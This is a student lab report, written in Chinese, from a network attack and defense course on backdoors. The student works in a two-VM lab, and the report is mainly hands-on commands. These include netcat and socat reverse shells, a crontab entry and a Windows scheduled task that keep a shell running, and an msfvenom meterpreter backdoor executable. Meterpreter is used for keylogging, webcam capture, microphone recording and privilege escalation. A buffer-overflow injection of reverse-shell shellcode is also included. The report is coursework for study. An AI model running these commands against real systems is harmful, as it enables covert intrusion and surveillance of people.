2019-2020-2 20175316盛茂淞《网络对抗技术》Exp2 后门原理与实践
一、实践目标
(1)任务一:使用netcat获取主机操作Shell,cron启动
(2)任务二:使用socat获取主机操作Shell, 任务计划启动
(3)任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell加分内容一并写入本实验报告。
二、基础问题回答
-
例举你能想到的一个后门进入到你系统中的可能方式?
- 在非官网下载软件时,很多不安全软件伪装成一些符号或者图片链接,不注意就会下载下来,应用程序留下后门。
- 注入在office文件的宏里面
- 后门程序通过邮件发送,并不小心点开了恶意链接。
- U盘里的文件不安全,插入电脑将其文件保存在电脑内
-
例举你知道的后门如何启动起来(win及linux)的方式?
- Win:设置开机自启动项、修改注册表
- Linux:使用netcat获取主机操作Shell,cron启动
使用socat获取主机操作Shell, 任务计划启动
-
Meterpreter有哪些给你映像深刻的功能?
- 获取击键记录能得到很多信息,像什么密码啊、浏览记录啊、聊天记录啊,都非常容易被人窃取到进行分析。
- 能通过指令获取控制摄像头。
- 后门程序能迁移到其他正常运行的程序中去,隐藏得很深。
-
如何发现自己有系统有没有被安装后门?
- 安装杀毒软件,定时对系统进行检测
- 打开防火墙,查看是否有异常端口
- 查看开机自启动向、注册表项中有无异常
三、相关知识
后门
- 后门:是不经过正常认证流程而访问系统的通道,存在与编译器、操作系统、固件和应用中等等。
- 后门工作流程:程序→植入→运行→免杀。
Netcat
- Netcat:是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
Meterpreter
- 基本功能(基本的连接、执行指令)
- 扩展功能(搜集用户信息、安装服务等)
- 编码模式
- 运行平台
- 以及运行参数
- 全部做成零件或者可调整的参数,用的时候直接组合,生成一个可执行文件即可。
- 典型的平台包括
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
- 参数说明
-p
使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。-e
使用的编码器,用于对shellcode变形,为了免杀。-i
编码器的迭代次数。如上即使用该编码器编码5次。-b
badchar是payload中需要去除的字符。LHOS
T是反弹回连的IPLPORT
是回连的端口-f
生成文件的类型>
输出到哪个文件
socat
- socat是ncat的增强版
- 它使用的格式是
socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。 - socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
常用后门工具实践
Windows获得Linux Shell
-
Windows:使用
ipconfig
指令查看本机IP:192.168.136.129
-
使用ncat.exe程序监听本机的5316端口
ncat.exe -l -p 5316
-
Kali:使用nc指令的-e选项反向连接Windows主机的5316端口:
ncat 192.168.136.129 5316 -e /bin/sh
-
Windows下成功运行Kali的shell,运行ls指令如下:
Linux获得Windows Shell
-
在Kali环境中使用
ifconfig
查看IP:192.168.136.128
-
Kali使用nc指令监听5316端口:
nc -l -p 5316
-
Windows:使用ncat.exe程序的-e选项项反向连接Kali主机的5316端口:
ncat.exe -e cmd.exe 192.168.136.128 5316
-
Kali下可以看到Windows的命令提示,可以输入Windows命令
使用nc传输数据
- Windows下监听5316端口:
ncat.exe -l 5316
- Kali下连接到Windows的5316端口:
nc 192.168.136.129 5316
- 数据双向传输成功
使用nc传输文件
-
Windows下监听
5230
端口,把收到的数据保存到file1.out
中:ncat.exe -l 5316 > file1.out
-
Kali下先创建
file1.in
文件,再反弹连接到Windows的5230
端口:nc 192.168.136.129 5316 < file1.in
-
传输成功
四、实践内容
任务一:使用netcat获取主机操作Shell,cron启动
-
先在Windows系统下,监听
5316
端口: -
在Kali环境下,用
crontab -e
指令编辑一条定时任务crontab
指令增加一条定时任务-e
表示编辑- 选择编辑器时选择3
-
在最后一行添加
15 * * * * /bin/netcat 192.168.136.129 5316 -e /bin/sh
意思是,每个小时的第15分钟反向连接Windows主机的5316
端口
-
当时间到了15分时,此时已经获得了Kali的shell,可以输入指令
ncat.exe -l -p 5316
任务二:使用socat获取主机操作Shell, 任务计划启动
-
Win+R
输入compmgmt.msc
打开“计算机管理” -
在“任务计划程序”中“创建任务”
-
填写任务名称,并新建一个触发器
-
在操作->新建->程序或脚本中选择你的
socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5205 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5316
,同时把cmd.exe
的stderr
重定向到stdout
上
-
创建完成之后,按
Windows+L
快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
-
在kali输入指令
socat - tcp:192.168.136.129:5316
,连接到Windows主机的5316
端口,此时可以获得Windows的shell
任务三:使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.128 LPORT=5316 -f exe > 20175316_backdoor.exe
- IP地址为控制端IP,即Linux的IP
- 生成了后门程序:
20175316_backdoor.exe
-
通过
ncat.exe -lv 5316 > 20175316_backdoor.exe
指令将被控制主机进入接受文件模式 -
在Linux中执行
nc 192.168.136.129 5316 < 20175316_backdoor.exe
,注意这里的IP为被控主机IP,即WindowsIP -
传送接收文件成功
-
在Kali上使用
msfconsole
指令进入msf控制台
-
输入
use exploit/multi/handler
使用监听模块,设置payload -
set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload -
set LHOST 192.168.136.128
,这里用的是LinuxIP,和生成后门程序时指定的IP相同 -
set LPORT 5316
,同样要使用相同的端口 -
设置完成后,执行监听
exploit
-
运行Windows下的后门程序
20175316_backdoor.exe
-
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
-
使用record_mic指令可以截获一段音频
-
使用webcam_snap指令可以使用摄像头进行拍照
-
使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
-
使用screenshot指令可以进行截屏
-
先使用getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功:
-
以下为捕获的音频、图片等
任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell加分内容一并写入本实验报告。
-
从Exploit Database Shellcodes网站中搜索linux/x86 - Reverse下载了反弹连接的shellcode
-
之后像实验一一样做好环境配置,使用
echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化 -
使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中
perl -e 'print "A" x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
-
打开一个终端使用
(cat input_shellcode;cat) | ./pwn1_20175316
注入这段攻击buf -
再开另外一个终端,用gdb来调试pwn1_20175316这个进程。输入
ps -ef | grep pwn1_20175316
找到pwn1的进程号
-
之后启动gdb使用attach调试这个进程。使用
disassemble foo
查看到ret的地址
-
0xffffd36c
存放的数据是db31c031
,那么shellcode地址就是0xffffd370
-
修改并生成input文件
perl -e 'print "A" x 32;print"\x70\xd3\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input
-
打开msf控制台依次输入
use exploit/multi/handler
,用于设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
,设置IP为回环地址
set LPORT 4444
,根据代码设置端口
exploit
,设置完成开始监听
- 使用
(cat input;cat) | ./pwn1_20175316
将input输入,通过管道符“|”,作为pwn1的输入。 - 这时在msf控制台可以看到已经成功调取了shell
过程中遇到的问题
问题1:
-
问题:获取主机摄像头权限失败
-
原因:未将摄像头连接到虚拟机上
-
解决方法:虚拟机右键 > 可移动设备 > 将摄像头连接到虚拟机上
实践总结
- 感觉后门是个很神奇又很可怕的东西。。。以前看片的时候觉得黑客好像可以随意改写和抹掉各种数据而且不留痕迹,现在貌似get到了一点皮毛。
- 前几天我的虚拟机里面弹出一个对话框说:你可能是盗版软件的受害者!
- 做了实验之后感觉,细思恐极,下载了各种盗版和破解软件,下载这些软件的网站也不是什么正经网站,估计个人信息早就gg了,怪不得现在,这么多精准诈骗。可怕。